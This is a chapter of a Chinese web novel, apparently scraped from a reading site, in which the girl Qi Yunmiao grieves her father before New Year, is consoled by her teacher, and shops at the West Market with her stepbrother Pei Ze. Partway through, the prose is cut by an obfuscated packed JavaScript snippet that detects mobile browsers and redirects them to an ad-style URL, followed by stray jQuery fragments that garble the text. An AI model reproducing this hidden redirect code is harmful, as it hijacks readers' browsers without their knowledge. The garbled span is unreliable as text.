第二十三章 陪我过年

作品:《我娘带我改嫁三次后

    祁云渺没有在上京城里过过新年。


    她对于年节所有的印象,几乎只来自于乡野——之前她和阿爹还有阿娘住在青州的时候。


    按照青州的习俗,每到临近年节之时,阿娘便会开始蒸各种馒头、做包子,还有许许多多怎么也吃不完的花卷;村子里有人会杀猪,每家都能分到一块很大的猪肉,阿娘会用这些猪肉炼油渣,还会做好吃的排骨;而阿爹若是在山上打到了什么野味,通常也是要拿出来,和全村人一道分享的。


    他们还会一起给祁云渺买布料,做新年要穿的衣裳;还有年节的晚上,阿爹和阿娘会一起给她压祟钱,说是新的一年,祝福她能平平安安,万事无忧。


    别的孩子,压祟钱通常第二日便会由家里人收回去,代为保管,但是祁云渺的压祟钱,阿娘从来不收走,说是她可以自己留着,等到什么时候和阿爹进城了,自己买糖葫芦吃。


    可是祁云渺鬼机灵鬼机灵的,每回进城,她都特地不带自己的压祟钱,想要买糖葫芦,只跟阿爹要。


    这么多年下来,每一年的压祟钱,她都自己存了起来,留着等以后长大了用。


    而在祁云渺过去的十年里,只有去年,她是没有收到哪怕一个铜子的压祟钱的。


    因为她的阿爹没了。


    阿娘为了上京城讨说法,寒冬腊月在京城足足待了三个月,过年也不曾回家。


    她被寄放在邻居婆婆家里,邻居婆婆虽然对她也很好,但到底不是她的亲婆婆,村子里大家日子都很艰难,没有她的压祟钱,也是情理之中的事情。


    而这一年,阿娘又不在。


    祁云渺也不知道,自己的新年到底要如何过了。


    方嬷嬷得知裴荀和沈若竹除夕都不会回家之后,便安抚祁云渺,告诉她不必担心,即便他们都不在,她也会好好照顾祁云渺的。


    祁云渺自然知道,方嬷嬷会好好照顾自己的。


    可是她有些想念阿娘了。


    ……还有阿爹。


    祁云渺近来又梦到阿爹了。


    从看到裴则的那幅画开始,阿爹时不时便会到她的梦里来,问她和阿娘过的好不好。


    祁云渺每次想回答他,想说话,可是每次都还没来得及说话,阿爹就走了。


    祁云渺只能把话都攒起来,想着等下次阿爹入梦来的时候,她再和阿爹说。


    可是每次阿爹一来,她就忘了,只顾着听阿爹说,如是往复,


    她也没能告诉阿爹,阿娘已经嫁了新的人家,还是当朝宰相,她们的日子比从前好太多了。


    只是……她还是很想他,很想很想他。


    收到沈若竹的来信之后,祁云渺一连好几日都提不起什么精神来。


    幸好如今宋家的学堂已经不必去了,她每日都能比从前多睡一些时刻。


    只是文能逃得掉,武却是不行了。


    除了陵阳侯府老夫人的寿宴外,林周宜依旧每日都来家里为她授课。


    祁云渺蔫蔫儿的情绪,第一日便被林周宜给发现了。


    但她没有声张,直到连过了三日,见祁云渺还是提不起精神,林周宜才总算有些生气。


    她拎着祁云渺耳提面命,道:“若是日后还这般提不起精神来,那就干脆别学了!你瞧瞧有哪个打仗的士兵,因为一点挫折,路上便蔫得跟朵娇花似的?那不叫士兵,叫逃兵!明白吗!”


    裴则恰好路过,原先早就已经将花园里祁云渺和林周宜每日的存在视若无睹。


    但是今日林周宜这嗓音,叫他想要忽视,也有些难以忽视。


    他于是回头,便只见到荷花池畔一脸怒容的林周宜,还有她面前,正在扎马步,却是扎得巍巍颤颤,一点儿也不扎实的祁云渺。


    祁


    云渺双股颤颤,不敢回答自己师傅的话。


    因为她知道林周宜教训得对。


    她适才扎马步的时候,因为又想起了阿爹和阿娘的事情,所以不小心便走神了。


    林周宜瞧了出来,自然便是要训导她的。


    “行了,你今日别练了!”看着她满脸艰难的样子,林周宜也知道,今日祁云渺当是不好再训练的。


    好歹是她的学生,她拉直了祁云渺的身子,又多嘴问了一句:“你近来可是发生何事了?”


    “唔?没有。”


    祁云渺下意识摇摇头。


    “不说我从今往后就再也不来你们府上了!我最不喜欢不专心的学生!”林周宜吓唬道。


    祁云渺只得摆摆手,看着凶巴巴的自家师傅,把沈若竹不回来过年的事情说了。


    她顿了顿,又说,相府不像是她的家,阿娘不回来,她便又没有亲人一道过年了。


    其实祁云渺知道,相府对她很好,方嬷嬷也对她很好,裴则虽然不喜欢她,但是该照顾她的时候,他还是会照顾她,是以,她不该那般没有良心。但她就是觉得,这里不像是她真正的家。


    她


    坐在假山旁,同林周宜低声问道:“师傅,我是不是很没有心?


    林周宜定定看着祁云渺。


    裴相府上新夫人和小姐的事情,上京城早就已经传遍了,她又怎可能不知道祁云渺和沈若竹身上发生的事情。


    父亲突然没了,眨眼之间,又多了另一个父亲,还有继兄,这算什么呢?


    但是林周宜虽然理解,还是同祁云渺道:“渺渺,你已经比这世上大多数人都要过得好了。


    祁云渺茫然地看着她。


    林周宜便又道:“你可知,我们越家的娘子军,都是些什么出身的人家?


    祁云渺摇摇头。


    她不知道。


    林周宜便告诉她道:“就按我来说,我是越家捡来的。我三岁那年,乡下闹饥荒,我被我的父亲亲手给抛弃了。是越家老侯爷把我捡回来,安排在小姐的身边,跟随小姐一道习武。后来小姐带着我们这一支娘子军,在疆场上杀敌,朝廷给了我们封号,我才算是再度拥有了姓名。


    她的眼神坚毅,说起这些事情来时,便像是在说什么无关紧要的东西。


    祁云渺听得震惊。


    这些事情,她竟从来都不曾听闻过。


    “而似我这般的出身,在越家的娘子军里,数不胜数。


    林周宜看着祁云渺,淡然地又笑道。


    祁云渺便只觉浑身毛骨彻底骇然。


    不过想想也是,寻常人家的姑娘,家里千娇百宠都来不及,又怎么会舍得自小就扔到军营里去锻炼呢?


    定是有什么非一般的契机,才会如此。


    她也是,若非阿爹是猎户,她有志想要成为阿爹一般的人,兴许也是无缘刀剑的。


    “所以如果没有越家,我们说不定现在是否仍旧在世都不知道。林周宜摸摸祁云渺的脑袋。


    “渺渺,我知道你在想什么,你想你阿爹,想你阿娘,想你阿爹若是还在世的话,你宁愿不要相府的荣华富贵,只做个简简单单的普通人。


    “可是渺渺,世上没有回头路,你阿爹没了,你阿娘选择了改嫁,你就该朝前看。就如同我们,父母不要我们,但是越家要我们,那我们就只为越家而活,只为我们自己而活,我们上阵杀敌,既是为了越家,也是为了我们自己。


    “人一味地沉溺在过往里,是没有出息的,明白了吗?


    林周宜说得慷慨又激昂。


    祁云渺怔怔地看着她,似乎明白了。


    但又似乎没有明白。


    她浑浑噩噩地点了点头。


    林周宜便抱了抱她:“好了,今日的训练先到此处吧,你回去好好想想,明日我再过来时,若是你还是这般情状,就不必再学了。”


    “我要学的,师傅!”


    不管话有没有听清楚,但是她要坚持习武这回事情,祁云渺还是相当清楚的。


    林周宜便又笑了,又摸了摸祁云渺的脑袋。


    “你嘴上说着没用,我只看你明日的情况。”


    她说罢,便起身离开了相府。


    留下祁云渺独自蹲在假山石畔,对着她说过的那些话,又想了许久。


    不要再沉溺于过去。


    而是要朝前看。


    朝前看。


    祁云渺终于慢慢挣扎着,从假山一侧的草地上站了起来。


    坐久了的双腿有些发麻,她起身后,又在原地蹬了好几下,这才摆脱这种触感。


    她抬头便想要回自己的院子,只是原本早已空空荡荡的假山石外,在林周宜离去后,不知何时,竟然又站了一个人。


    祁云渺好奇地看着裴则的身影,不知道他是什么时候到的这里。


    裴则立在假山外面,一动不动地看着祁云渺。


    祁云渺唤道:“阿兄?”


    “嗯。”裴则浅浅应了一声,随后,道:“明日开始,府上要张贴春联,窗花,你没什么事情的话,就和我一道弄吧。”


    “啊?”


    祁云渺不知道,相府里贴春联还有窗花这种事情,也是需要少爷亲自上手的吗?


    还没等她想明白呢,裴则便似乎已经明白了她在想什么,解释道:“相府里的春联,每年都是自己写的,今年大人不在,只能我们弄。”


    原来如此。


    祁云渺点点头。


    裴则便又道:“对了,还有,方嬷嬷道她过几日要做方糕,包团圆饭,西市这几日热闹,你若是无事,随我一道上街逛逛,顺便多买些过年要用的东西回来。”


    这些东西……也需要自己去买吗?


    眼看着祁云渺愣愣的,有些反应不过来,裴则脾气也不是全然很好。


    他这回什么都没有解释,只是问道:“听明白了没有?去还是不去?”


    去!


    能出门去西市逛逛,她为何不去?


    祁云渺这回一点犹豫也没有,便点了点头。


    裴则脸色这才好看一点。


    “即如此,明日收拾收拾,先帮我写春


    联吧。


    “好!


    祁云渺答应道。


    —


    有了林周宜的安慰,又要突然去帮裴则写春联,贴窗花,接下来几日,祁云渺算是有了点活干,没有再一味沉溺于自己的情绪里。


    不过帮裴则写春联,贴春联,这可不是什么简单的活儿。


    祁云渺的字难看,裴则自然不会想着要她去写春联,贴在人来人往的大门外,于是,春联上的字,便由裴则来写,祁云渺则是主要帮忙研磨。


    但是裴则这个人,对于研磨的要求,也是极为复杂的。


    墨研得太浓了不行,研得太稀了,又不行,全部都要刚刚好到适中。


    祁云渺觉得自己和他一块儿干活,真是迟早要被折腾出病来。


    好说歹说,最后春联是忙完了,他们又要一道弄窗花。


    窗花可是祁云渺的拿手好戏。


    早在家中的时候,她便同阿娘学过剪纸了。


    倒是裴则,竟然不会剪窗花。


    祁云渺便终于翻身做了一回老师,亲自教了裴则如何去剪窗花、贴窗花。


    等到他们花了两日的功夫,将这些事情全部给处理完,西市的长街上,正好也是热闹的时候。


    这是祁云渺第一次和裴则上西市来买东西。


    她之前来过西市几次,要么是同阿娘一起,要么是同方嬷嬷一道。


    上京城中的集市,主要便分西市与东市,这两边的集市没什么太大的区别,哪个都能逛,哪个都很热闹。


    知道祁云渺要上街替自己买食材,方嬷嬷在他们临出门前,给祁云渺兜里


    塞了好一袋铜板,说是给她当零钱用。


    祁云渺原本不想要,她自己有钱的,但是方嬷嬷说了,日后会同夫人说,同夫人再要回来的,祁云渺便放心地收下了。


    她和裴则一道走在西市里。临近年节,西市也是张灯结彩,从卖花灯的,到卖衣裳的,还有各种过年吃食,芝麻糕、黑米糕、酥肉泡馍……看得人目不暇接,眼花缭乱。


    买完方嬷嬷所需要的东西后,裴则和祁云渺便有些漫无目的地开始瞎逛。


    裴则其实压根不知道,自己今日为何要来西市。


    那日假山旁,他听到了祁云渺的心事,一时心软,便问了她要不要出门转转。


    这般的数九寒天,他也是实在闲得慌。


    但是看一眼祁云渺,她如今似乎正是起劲的时候,不管看到什么东西,都想试一试


    ,人家摊主摆在外头叫人试吃的东西,她一整条街都快吃了个遍。


    终于,等到祁云渺又吃过了两家铺子的时候,裴则问道:“不打算买点什么吗?”


    祁云渺想了想,道:“待会儿我要去带两串糖葫芦回家!”


    裴则便又问:“糖葫芦不是一开始便看见了了,为何不买?”


    “一开始就买了的话,拿着多麻烦呀。”祁云渺道。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136474|163791||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    裴则看着她又路过了一家铺子,问人家摊主能不能试吃,人家摊主说可以吃之后,祁云渺便半点不客气,吃了人家一口米糕。


    糯叽叽的米糕粘牙,祁云渺吃的有些费劲。


    她最近正是换牙的时候,有好几颗牙齿都掉了,还没长齐,吃起糕点来,格外难嚼。


    裴则便看着她又贪吃又因贪吃而变得费劲巴拉的样子,逐渐唇角泄出一丝冷笑。


    他终于明白了祁云渺的心思,糖葫芦是真的要买的,那就最后折回去再买,带回家里吃,而现在这些摊位上的东西,她是不打算买的,是以,她便要每个摊位都吃过去,先免费填饱一下自己的肚子。这样,才算是不虚此行。


    他实在看不上这种做派。


    等祁云渺差不多将东西咽下肚子之后,裴则便道:“好了,走吧,我想起家里还有些事情,我们去把糖葫芦买了就回家。”


    “啊,这便走了?”祁云渺张望两眼,见到前头还有好多的摊子,她都还没尝过呢。


    “嗯。”裴则说不打算再纵着祁云渺,便是真的不会再纵着她,他转身,兀自朝着马车的方向回去,祁云渺便也只能跟着他转身,朝着俩人来时的路走去。


    她跟在裴则的身后,摸摸自己的肚子。


    虽然还有很多的不甘心,但是祁云渺算算自己今日都吃了哪些东西,便也还好,没有特别亏。


    他们走到来时卖糖葫芦的小贩摊前,祁云渺顺从自己的本心,买了两串糖葫芦。


    哪想,走到马车停靠的地方时,恰好,原先不曾开门的一家成衣铺子开张了。


    老板娘正站在店前拉拢生意,一见到祁云渺,便扑上来,拉着喊着道:“小姐过来瞧瞧当下时兴的衣裳吧!”


    祁云渺忙摇摇头,阿娘走之前给她做了许多的新衣裳,她够穿了的。


    老板娘不甘心,祁云渺虽然穿的一般,但她可见到了,她身边跟的公子,穿的可是上好的罗布,指不定是愿意买单的主儿。


    她便


    一个劲儿地劝祁云渺进自己的店里瞧瞧,她店里可都是好看的货。


    祁云渺两只手都握着糖葫芦,高举着手臂,实在难以抵消这老板娘的热情,最终,只能被拖着拽着进了铺子。


    等裴则回过头来的时候,她人已经跟着老板娘在铺子里看东西了。


    裴则蹙起眉头,跟了过去。


    祁云渺正在看老板娘为自己介绍的一套成衣。


    她这店里,专卖十来岁少女的衣裳,像祁云渺这般的,正正合适。


    “这套,这套,还有这套,姑娘年节的衣裳可有着落了?没有着落的,便多看看我这店里,多的是好看的绫罗绸缎呐!”


    “这……”


    衣裳好看是挺好看的。


    但是阿娘真的已经为她做了不少衣裳了,所以祁云渺面对着老板娘的热情,还是摇了摇头。


    “真没有看上的吗?还是自己不敢买?”老板娘问道,“小姐再看看嘛,再看看嘛,我们店里东西可多的。”


    “真不必了,下回吧……”祁云渺举着两串糖葫芦便想要走。


    可是刚抬头,便见到裴则跨进了店里。


    “阿兄……”


    “诶呦小郎君!”


    不等她说话,人家老板娘一见到裴则,便两眼放光,去拉起了人。


    “您帮这位小姐看看呢,小姐进店可腼腆得很,您瞧瞧,这些衣裳,哪件不是衬她的?”


    她手里握了一堆的成衣料子。


    “……”


    祁云渺默默无言,去看裴则的脸色。


    裴则不过暼了眼店家手中的衣裳,便道:“你这里的料子都不好,如果想买衣裳,回家去喊人上门来量裁吧。”


    他后面的话都是对祁云渺说的,半点没有给人家女店主客气的意思。


    祁云渺砸吧了一下嘴巴,听完话,立马便想要跟上裴则。


    可是女店主眼疾手快拦在了两人中间,叉着腰道:“这位郎君,你说我们店别的可以,你说我们料子不行?怎么,你家是开布行的,还是你家是宰相啊?见过天底下最好的料子?”


    裴则回头,半点神色也不改,问道:“就算我家不是宰相,也不是开布行的,那又如何?你手中的料子,是去岁京中流行的素罗,今年早便不时兴了;还有这裙摆,百褶的褶子都不齐整,只怕是偷工减料的东西,光凭这两点便可看出,你这店里,根本没什么值得看的。”


    “你……”


    老板娘想不到,


    自己今日还真能碰上个行家,握着手中的料子讪讪半晌,最终只能放了人走。


    祁云渺坐上马车之后,啧啧称赞裴则。


    “阿兄懂得好多!


    她总是这般,即便知道裴则并不怎么喜欢自己,但是有时候,该夸赞人的时候,她还是不会吝啬。


    “皮毛而已。


    裴则随口道。


    他坐在祁云渺对面,上下打量了眼人。


    即便已经是相府的小姐,但是祁云渺如今的衣着还有打扮,倒是实在很难叫人联想到她的身份。


    他便问:“你娘走之前,没有给你做衣裳吗?


    “做了啊。祁云渺道,“但是那些都是新衣裳,我想要等到新年之后再穿。


    “为何要等到新年之后再穿?


    冬日里做的新衣裳,若非必要,要等到新年的时候才能穿,这是乡下每一个孩子都懂的道理。


    可是裴则不知道。


    祁云渺便眨巴眨巴眼睛看着他,好似忽而之间便明白,这个阿兄也不是什么都懂的。


    “就是这个道理!


    但是祁云渺也不知道该如何同裴则解释这个规矩,只能告诉他,总之就是这个道理就是了。


    见她自己也说不上什么东西,裴则便只能放弃探究这回事情。


    只是马车之中他与祁云渺面对面,便终归会注意到祁云渺的衣裳。


    简简单单的藕荷色团花料子,衣领和袖口处都锁了绒边,要说有多简陋,倒也没有,但是要说华贵,也是真的称不上。


    是街上许多普通的正常人会穿的东西。


    终于,裴则道:“今日回去之后,叫方嬷嬷喊些裁缝上门,给你再做些新的衣裳。


    祁云渺立马张嘴,想说真的不必,阿娘给的已经够多了。


    可是裴则下一句便道:“新年前穿。


    “……


    祁云渺便终于不说话了。